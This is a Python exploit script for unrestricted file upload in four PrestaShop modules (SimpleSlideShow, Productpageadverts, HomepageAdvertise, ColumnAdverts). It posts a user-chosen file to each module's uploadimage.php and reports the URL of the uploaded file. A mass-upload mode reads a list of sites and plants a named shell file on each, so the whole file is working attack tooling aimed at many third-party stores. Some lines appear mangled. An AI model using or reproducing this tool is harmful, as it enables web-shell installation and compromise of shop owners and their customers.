#!/usr/bin/python
####################################################################################
#Author : PentesterDesk
#Date : 20-June-2016
#Software: Prestashop CMS
#vuln Mod: Simpleslideshow , productpageadverts , Homepageadvertise , columnadverts
####################################################################################
import
sys, os
import
time
import
requests
def
main():
os.system(
'cls'
and
'color -a'
if
os.name
=
=
"nt"
else
'clear'
)
banner
=
'''
+======================================================+
| Prestashop | FileUpload Exp | PentesterDesk |
| Found by : Muhammad Faisal Gunanda |
| Coded by : PentesterDesk Team |
| Contact : pentesterdesk@gmail.com |
+======================================================+
'''
print
banner
print
"[1] SimpleSlideShow "
print
"[2] Productpageadverts"
print
"[3] HomepageAdvertise"
print
"[4] columnAdverts"
ch1
=
raw_input
(
"\n[>] "
)
#1 SimpleSlideShow
if
ch1
=
=
'1'
:
os.system(
'cls'
and
'color -a'
if
os.name
=
=
"nt"
else
'clear'
)
print
banner
print
"\n <==============SimpleSlideShow Exploit=================>\n"
print
"[1] Single Site "
print
"[2] Mass Upload"
print
"[3] GoTo Home"
ch2
=
raw_input
(
"\n[>] "
)
if
ch2
=
=
'3'
:
main()
if
ch2
=
=
'1'
:
os.system(
'cls'
and
'color -a'
if
os.name
=
=
"nt"
else
'clear'
)
print
banner
print
"\n <==============SimpleSlideShow Exploit=================>\n"
url
=
raw_input
(
"[+] Enter Url : "
)
filname
=
raw_input
(
"[+] Enter File : "
)
if
filname
=
=
'
' or url == '
':
print
"\n[!] Url or File is not entered\n"
raw_input
(
"[+] Enter Any key to try agian [>] "
)
main()
#url Logic
if
'/modules/simpleslideshow/'
in
url:
url
=
url.replace(
'/modules/simpleslideshow/'
,
'/modules/simpleslideshow/uploadimage.php'
)
elif
'/modules/simpleslideshow/uploadimage.php'
in
url:
url
=
url
else
:
url
=
url
+
"/modules/simpleslideshow/uploadimage.php"
#main
files
=
{
'userfile'
:(filname,
open
(filname,
'rb'
),
'multipart/form-data'
)}
req
=
requests.post(url,files
=
files)
if
req.status_code
=
=
200
or
'success'
in
req.text:
url
=
url.replace(
'/uploadimage.php'
,
'/slides/'
+
filname)
print
(
"[+] %s [ok]"
%
(url))
else
:
print
"\n[+] %s \n"
%
url
raw_input
(
"\n[+] Press Enter [>] "
)
main()
#Mass upload Logic
if
ch2
=
=
'2'
:
os.system(
'cls'
and
'color -a'
if
os.name
=
=
"nt"
else
'clear'
)
print
banner
print
"\n <==============SimpleSlideShow Exploit=================>\n"
filee
=
raw_input
(
"[+] Enter List Name : "
)
filname
=
raw_input
(
"[+] Enter Shell Name : "
)
if
filname
=
=
'
' or filee == '
':
print
"\n[!] Url or File is not entered\n"
raw_input
(
"[+] Enter Any key to try agian [>] "
)
main()
ob
=
open
(filee,
'r'
)
lists
=
ob.readlines()
list1
=
[]
i
=
0
for
i
in
range
(
len
(lists)):
list1.append(lists[i].strip(
'\n'
))
count
=
0
for
site
in
(list1):
count
=
count
+
1
if
'/modules/simpleslideshow/'
in
site:
url
=
site.replace(
'/modules/simpleslideshow/'
,
'/modules/simpleslideshow/uploadimage.php'
)
elif
'/modules/simpleslideshow/uploadimage.php'
in
site:
url
=
site
else
:
url
=
site
+
"/modules/simpleslideshow/uploadimage.php"
files
=
{
'userfile'
:(filname,
open
(filname,
'rb'
),
'multipart/form-data'
)}
req
=
requests.post(url,files
=
files)
if
req.status_code
=
=
200
or
'success'
in
req.text:
url
=
url.replace(
'/uploadimage.php'
,
'/slides/'
+
filname)
print
(
"[%d] %s [ ok ]"
%
(count,url))
else
:
print
(
"[%d] %s "
%
(count,url))
raw_input
(
"\n[+] Press Enter [>] "
)
main()
#2 productpageadverts
if
ch1
=
=
'2'
:
os.system(
'cls'
and
'color -a'
if
os.name
=
=
"nt"
else
'clear'
)
print
banner
print
"\n <==============Productpageadverts Exploit==============>\n"
print
"[1] Single Site "
print
"[2] Mass Upload"
print
"[3] GoTo Home"
ch2
=
raw_input
(
"\n[>] "
)
if
ch2
=
=
'3'
:
main()
if
ch2
=
=
'1'
:
os.system(
'cls'
and
'color -a'
if
os.name
=
=
"nt"
else
'clear'
)
print
banner
print
"\n <==============Productpageadverts Exploit==============>\n"
url
=
raw_input
(
"[+] Enter Url : "
)
filname
=
raw_input
(
"[+] Enter File : "
)
if
filname
=
=
'
' or url == '
':
print
"\n[!] Url or File is not entered\n"
raw_input
(
"[+] Enter Any key to try agian [>] "
)
main()
#url Logic
if
'/modules/productpageadverts/'
in
url:
url
=
url.replace(
'/modules/productpageadverts/'
,
'/modules/productpageadverts/uploadimage.php'
)
elif
'/modules/productpageadverts/uploadimage.php'
in
url:
url
=
url
else
:
url
=
url
+
"/modules/productpageadverts/uploadimage.php"
#main
files
=
{
'userfile'
:(filname,
open
(filname,
'rb'
),
'multipart/form-data'
)}
req
=
requests.post(url,files
=
files)
if
req.status_code
=
=
200
or
'success'
in
req.text:
url
=
url.replace(
'/uploadimage.php'
,
'/slides/'
+
filname)
print
(
"[+] %s [ ok ]"
%
(url))
else
:
print
"\n\[+] %s \n"
%
url
raw_input
(
"\n[+] Press Enter [>] "
)
main()
#Mass upload Logic
if
ch2
=
=
'2'
:
os.system(
'cls'
and
'color -a'
if
os.name
=
=
"nt"
else
'clear'
)
print
banner
print
"\n <==============Productpageadverts Exploit==============>\n"
filee
=
raw_input
(
"\033[1;36m[+] Enter List Name : \033[1;m"
)
filname
=
raw_input
(
"\033[1;36m[+] Enter Shell Name : \033[1;m"
)
if
filname
=
=
'
' or filee == '
':
print
"\n\033[1;41m[!] Url or File is not entered\033[1;m\n"
raw_input
(
"\033[1;36m[+] Enter Any key to try agian \033[1;m[\033[1;31m>\033[1;m] "
)
main()
ob
=
open
(filee,
'r'
)
lists
=
ob.readlines()
list1
=
[]
i
=
0
for
i
in
range
(
len
(lists)):
list1.append(lists[i].strip(
'\n'
))
count
=
0
for
site
in
(list1):
count
=
count
+
1
if
'/modules/productpageadverts/'
in
site:
url
=
site.replace(
'/modules/productpageadverts/'
,
'/modules/productpageadverts/uploadimage.php'
)
elif
'/modules/simpleslideshow/uploadimage.php'
in
site:
url
=
site
else
:
url
=
site
+
"/modules/productpageadverts/uploadimage.php"
files
=
{
'userfile'
:(filname,
open
(filname,
'rb'
),
'multipart/form-data'
)}
req
=
requests.post(url,files
=
files)
if
req.status_code
=
=
200
or
'success'
in
req.text:
url
=
url.replace(
'/uploadimage.php'
,
'/slides/'
+
filname)
print
(
"[%d] %s [ ok ]"
%
(count,url))
else
:
print
(
"[%d] %s "
%
(count,url))
raw_input
(
"\n[+] Press Enter [>] "
)
main()
#3 homepageadvertise
if
ch1
=
=
'3'
:
os.system(
'cls'
and
'color -a'
if
os.name
=
=
"nt"
else
'clear'
)
print
banner
print
"\n <==============HomePageAdvertise Exploit===============>\n"
print
"[1] Single Site "
print
"[2] Mass Upload"
print
"[3] GoTo Home"
ch2
=
raw_input
(
"\n[>] "
)
if
ch2
=
=
'3'
:
main()
if
ch2
=
=
'1'
:
os.system(
'cls'
and
'color -a'
if
os.name
=
=
"nt"
else
'clear'
)
print
banner
print
"\n <==============HomePageAdvertise Exploit===============>\n"
url
=
raw_input
(
"[+] Enter Url : "
)
filname
=
raw_input
(
"[+] Enter File : "
)
if
filname
=
=
'
' or url == '
':
print
"\n\033[1;41m[!] Url or File is not entered\033[1;m\n"
raw_input
(
"\033[1;36m[+] Enter Any key to try agian \033[1;m[\033[1;31m>\033[1;m] "
)
main()
#url Logic
if
'/modules/homepageadvertise/'
in
url:
url
=
url.replace(
'/modules/homepageadvertise/'
,
'/modules/homepageadvertise/uploadimage.php'
)
elif
'/modules/homepageadvertise/uploadimage.php'
in
url:
url
=
url
else
:
url
=
url
+
"/modules/homepageadvertise/uploadimage.php"
#main
files
=
{
'userfile'
:(filname,
open
(filname,
'rb'
),
'multipart/form-data'
)}
req
=
requests.post(url,files
=
files)
if
req.status_code
=
=
200
or
'success'
in
req.text:
url
=
url.replace(
'/uploadimage.php'
,
'/slides/'
+
filname)
print
(
"[+] %s [ ok ]"
%
(url))
else
:
print
"\n[+] %s \n"
%
url
raw_input
(
"\n[+] Press Enter [>] "
)
main()
#Mass upload Logic
if
ch2
=
=
'2'
:
os.system(
'cls'
and
'color -a'
if
os.name
=
=
"nt"
else
'clear'
)
print
banner
print
"\n <==============HomePageAdvertise Exploit===============>\n"
filee
=
raw_input
(
"[+] Enter List Name : "
)
filname
=
raw_input
(
"[+] Enter Shell Name : "
)
if
filname
=
=
'
' or filee == '
':
print
"\n\[!] Url or File is not entered\n"
raw_input
(
"[+] Enter Any key to try agian [>] "
)
main()
ob
=
open
(filee,
'r'
)
lists
=
ob.readlines()
list1
=
[]
i
=
0
for
i
in
range
(
len
(lists)):
list1.append(lists[i].strip(
'\n'
))
count
=
0
for
site
in
(list1):
count
=
count
+
1
if
'/modules/homepageadvertise/'
in
site:
url
=
site.replace(
'/modules/homepageadvertise/'
,
'/modules/homepageadvertise/uploadimage.php'
)
elif
'/modules/homepageadvertise/uploadimage.php'
in
site:
url
=
site
else
:
url
=
site
+
"/modules/homepageadvertise/uploadimage.php"
files
=
{
'userfile'
:(filname,
open
(filname,
'rb'
),
'multipart/form-data'
)}
req
=
requests.post(url,files
=
files)
if
req.status_code
=
=
200
or
'success'
in
req.text:
url
=
url.replace(
'/uploadimage.php'
,
'/slides/'
+
filname)
print
(
"[%d]] %s [ ok ]"
%
(count,url))
else
:
print
(
"[%d] %s "
%
(count,url))
raw_input
(
"\n[+] Press Enter [>] "
)
main()
#4 columnadverts
if
ch1
=
=
'4'
:
os.system(
'cls'
and
'color -a'
if
os.name
=
=
"nt"
else
'clear'
)
print
banner
print
"\n <================ColumnAdvers Exploit==================>\n"
print
"[1] Single Site "
print
"[2] Mass Upload"
print
"[3] GoTo Home"
ch2
=
raw_input
(
"\n[>] "
)
if
ch2
=
=
'3'
:
main()
if
ch2
=
=
'1'
:
os.system(
'cls'
and
'color -a'
if
os.name
=
=
"nt"
else
'clear'
)
print
banner
print
"\n <================ColumnAdvers Exploit==================>\n"
url
=
raw_input
(
"[+] Enter Url : "
)
filname
=
raw_input
(
"[+] Enter File : "
)
if
filname
=
=
'
' or url == '
':
print
"\n[!] Url or File is not entered\n"
raw_input
(
"[+] Enter Any key to try agian [>] "
)
main()
#url Logic
if
'/modules/columnadverts/'
in
url:
url
=
url.replace(
'/modules/columnadverts/'
,
'/modules/columnadverts/uploadimage.php'
)
elif
'/modules/columnadverts/uploadimage.php'
in
url:
url
=
url
else
:
url
=
url
+
"/modules/columnadverts/uploadimage.php"
#main
files
=
{
'userfile'
:(filname,
open
(filname,
'rb'
),
'multipart/form-data'
)}
req
=
requests.post(url,files
=
files)
if
req.status_code
=
=
200
or
'success'
in
req.text:
url
=
url.replace(
'/uploadimage.php'
,
'/slides/'
+
filname)
print
(
"[+] %s [ ok ]"
%
(url))
else
:
print
"\n[+] %s \n"
%
url
raw_input
(
"\n[+] Press Enter [>] "
)
main()
#Mass upload Logic
if
ch2
=
=
'2'
:
os.system(
'cls'
and
'color -a'
if
os.name
=
=
"nt"
else
'clear'
)
print
banner
print
"\n <================ColumnAdvers Exploit==================>\n"
filee
=
raw_input
(
"[+] Enter List Name : "
)
filname
=
raw_input
(
"[+] Enter Shell Name : "
)
if
filname
=
=
'
' or filee == '
':
print
"\n[!] Url or File is not entered\n"
raw_input
(
"[+] Enter Any key to try agian [>] "
)
main()
ob
=
open
(filee,
'r'
)
lists
=
ob.readlines()
list1
=
[]
i
=
0
for
i
in
range
(
len
(lists)):
list1.append(lists[i].strip(
'\n'
))
count
=
0
for
site
in
(list1):
count
=
count
+
1
if
'/modules/columnadverts/'
in
site:
url
=
site.replace(
'/modules/columnadverts/'
,
'/modules/columnadverts/uploadimage.php'
)
elif
'/modules/columnadverts/uploadimage.php'
in
site:
url
=
site
else
:
url
=
site
+
"/modules/columnadverts/uploadimage.php"
files
=
{
'userfile'
:(filname,
open
(filname,
'rb'
),
'multipart/form-data'
)}
req
=
requests.post(url,files
=
files)
if
req.status_code
=
=
200
or
'success'
in
req.text:
url
=
url.replace(
'/uploadimage.php'
,
'/slides/'
+
filname)
print
(
"[%d] %s [ ok ]"
%
(count,url))
else
:
print
(
"[%d] %s "
%
(count,url))
raw_input
(
"\n[+] Press Enter [>] "
)
main()
if
__name__
=
=
"__main__"
:
main()